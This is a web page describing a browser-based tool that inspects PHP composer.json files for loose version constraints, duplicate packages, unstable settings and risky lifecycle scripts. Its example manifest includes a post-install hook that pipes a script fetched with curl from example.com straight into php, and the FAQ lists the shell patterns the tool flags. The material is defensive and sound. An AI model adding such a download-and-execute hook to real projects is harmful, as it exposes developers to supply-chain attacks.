Composer.json Inspector
Analyze composer.json for permissive version constraints, duplicate dependencies, dangerous scripts, and stability issues
Enter your composer.json to scan for version constraint issues, duplicate dependencies, dangerous scripts, and stability flags
Analyzing composer.json for PHP Supply Chain Security
Composer is the standard dependency manager for PHP projects, with composer.json defining
all external packages, autoloading configuration, lifecycle scripts, and platform requirements. Each
dependency introduces third-party code that executes in your application's context — from request
handling middleware to database abstractions. Overly permissive version constraints allow untested
code into production, dangerous scripts execute during installation, and missing stability settings
can introduce alpha-quality packages into stable releases.
The Composer.json Inspector analyzes your PHP dependency manifest for supply chain risks, version constraint issues, and configuration problems. It detects wildcard version constraints, duplicate packages across require and require-dev, deprecated minimum-stability settings, dangerous lifecycle scripts, and missing PHP version constraints. All analysis runs entirely in your browser — your dependency configuration never leaves your device.
Version Constraint Analysis
Composer uses a version constraint syntax that determines which package versions are installable. The inspector evaluates constraints for security and stability risks:
"*"— Accepts any version including majors (dangerous for production)">=2.0"— No upper bound, accepts future incompatible majors"^2.0"— Allows non-breaking updates within the same major (standard practice)"~2.0"— Allows patch updates only within minor (conservative)"2.0.5"— Exact version pin (most predictable, hardest to maintain)"dev-main"— Tracks a branch, completely unstable and unreproducible
For security-sensitive packages (authentication, encryption, session management), the inspector recommends tighter constraints. Branch aliases and dev stability flags are flagged as production risks since they reference unreleased, potentially broken code.
Lifecycle Scripts and Installation Hooks
Composer scripts execute automatically during dependency lifecycle events, similar to npm's lifecycle hooks. The inspector detects potentially dangerous script configurations:
post-install-cmd— Runs aftercomposer installcompletespost-update-cmd— Runs aftercomposer updatecompletespre-autoload-dump— Runs before autoload files are generated
Legitimate scripts include cache clearing, asset compilation, and framework optimizations. Suspicious patterns include downloading remote scripts, executing encoded commands, or modifying files outside the project directory. The inspector flags scripts that reference external URLs, use base64 encoding, or invoke system commands that are atypical for PHP package installation workflows.
Platform Requirements and Stability Settings
Missing platform configuration leads to environment-specific failures that only manifest during deployment:
-
Missing PHP version requirement: Without
"php": "^8.1"in the require section, Composer may install packages incompatible with your production PHP version. -
Missing extension requirements: Packages depending on extensions like
ext-redis,ext-imagick, orext-intlshould be declared explicitly to catch missing extensions before deployment. -
Dangerous minimum-stability: Setting
"minimum-stability": "dev"allows installation of unstable packages across all dependencies, not just the specific package that needs it. Usestability flagson individual packages instead. -
Missing prefer-stable: Without
"prefer-stable": true, Composer may choose dev versions when multiple satisfying versions exist.
Code Examples
composer.json with Issues Detected by Inspector
{
"name": "acme/web-app",
"require": {
"laravel/framework": ">=9.0",
"guzzlehttp/guzzle": "*",
"phpunit/phpunit": "^10.0",
"firebase/php-jwt": "dev-main"
},
"require-dev": {
"guzzlehttp/guzzle": "^7.0"
},
"minimum-stability": "dev",
"scripts": {
"post-install-cmd": [
"curl -sS https://example.com/setup | php"
]
}
}
// Inspector findings:
// - HIGH: "laravel/framework" >= 9.0 — no upper version bound
// - CRITICAL: "guzzlehttp/guzzle" "*" — wildcard constraint
// - WARN: "phpunit/phpunit" in require — test framework belongs in require-dev
// - WARN: "guzzlehttp/guzzle" in both require and require-dev
// - CRITICAL: "firebase/php-jwt" dev-main — branch tracking for auth library
// - HIGH: minimum-stability "dev" — allows unstable packages globally
// - CRITICAL: post-install-cmd downloads and executes remote script
// - INFO: Missing PHP version constraint in require Frequently Asked Questions
What issues does the Composer.json Inspector detect?
The inspector detects overly permissive version constraints (*, >=x.y without ceiling, dev branch references), duplicate dependencies (same package in both require and require-dev), dangerous scripts that download external content or execute shell commands during install, missing PHP version constraints, unstable minimum-stability without prefer-stable, and known abandoned packages.
Why are overly permissive version constraints a problem in Composer?
Using * or unbounded ranges like >=1.0 means any future version can be installed during composer update, including major versions with breaking changes. Dev branch references (dev-master, dev-main) point to constantly changing code. Use caret (^) or tilde (~) constraints to allow compatible updates while preventing unexpected breaking changes.
What makes a Composer script 'dangerous'?
Scripts tied to lifecycle events (post-install-cmd, post-update-cmd) that contain commands downloading external content (curl, wget), executing arbitrary code (eval, sh -c, php -r), or piping output to a shell are flagged. These are potential vectors for supply chain attacks where malicious code runs automatically without the developer's explicit consent.
Why should I define a PHP version constraint?
Adding 'php': '>=8.1' (or your minimum version) to the require section ensures Composer resolves dependencies compatible with your target PHP version. Without it, collaborators or CI environments may install packages that require newer PHP features, causing runtime crashes that only surface during deployment.
What is minimum-stability and why does prefer-stable matter?
minimum-stability controls the lowest stability level Composer will accept (dev, alpha, beta, RC, stable). Setting it to 'dev' without 'prefer-stable': true means ALL dependencies may resolve to development versions. Always pair minimum-stability below 'stable' with prefer-stable to ensure stable releases are preferred except where explicitly overridden.
How are abandoned packages detected?
The inspector maintains a list of known abandoned PHP packages and their recommended replacements (e.g., fzaninotto/faker → fakerphp/faker, swiftmailer → symfony/mailer, zendframework/* → laminas/*). These are flagged as low-severity findings with migration guidance.
How is the inspection score calculated?
The score starts at 100 and deducts points based on finding severity: Critical issues deduct 25 points, High issues (permissive constraints, dangerous lifecycle scripts, unstable without prefer-stable) deduct 15, Medium issues (duplicates, missing PHP version, dev stability) deduct 8, and Low issues (abandoned packages) deduct 3. Grades: A (90+), B (75+), C (60+), D (40+), F (below 40).
Does the inspector handle platform requirements (ext-*)?
Platform requirements like ext-mbstring, ext-json, and ext-curl are recognized and skipped during version constraint analysis. They use a different versioning scheme tied to the PHP version and are not subject to the same permissive-range checks as library packages.
What about Composer plugin references in scripts?
Script entries starting with @ (Composer event forwarding) or containing :: (static class method calls) are recognized as Composer plugin/class references and are not analyzed for shell command patterns. Only plain string commands are checked for dangerous patterns.
Is my composer.json sent to any server for analysis?
No. All analysis happens entirely in your browser using JavaScript. Your composer.json — which may contain private package names, internal Satis/repository URLs, or proprietary script configurations — never leaves your device. No data is stored, logged, or transmitted.